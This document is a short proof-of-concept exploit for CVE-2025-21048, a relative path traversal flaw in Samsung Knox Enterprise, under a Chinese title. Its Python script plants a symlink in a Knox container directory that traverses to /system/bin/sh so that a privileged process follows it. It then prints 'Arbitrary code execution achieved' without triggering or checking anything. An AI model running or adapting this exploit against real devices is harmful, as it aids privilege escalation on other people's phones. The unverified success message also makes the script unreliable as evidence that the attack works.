CVE-2025-21048 Samsung Knox Enterprise 相对路径遍历漏洞

# CVE-2025-21048 PoC - Relative Path Traversal in Samsung Knox Enterprise # This is a conceptual PoC demonstrating the exploitation of relative path traversal import os import sys # Step 1: Create a malicious symlink in a writable directory accessible by Knox Enterprise target_file = "/data/data/com.samsung.android.knox.containercore/files/target.dat" malicious_link = "/data/data/com.samsung.android.knox.containercore/files/innocent_file" malicious_payload = "/system/bin/sh" # Target file to execute # Step 2: Create a relative symlink that points outside the expected directory # The relative path traversal bypasses directory restrictions relative_traversal_path = "../../../../../../system/bin/sh" try: # Remove existing file/link if present if os.path.exists(malicious_link) or os.path.islink(malicious_link): os.remove(malicious_link) # Create the malicious relative symlink os.symlink(relative_traversal_path, malicious_link) print(f"[+] Malicious symlink created: {malicious_link} -> {relative_traversal_path}") # Step 3: Trigger the vulnerable Knox Enterprise process # When the privileged process accesses 'innocent_file', it follows the symlink # and executes/reads the target file outside the intended directory print("[+] Waiting for Knox Enterprise process to access the symlink...") print("[+] Arbitrary code execution achieved when privileged process follows the symlink") except PermissionError as e: print(f"[-] Permission denied: {e}") print("[*] This exploit requires high privileges (PR:H) to create symlinks in protected directories") except Exception as e: print(f"[-] Error: {e}")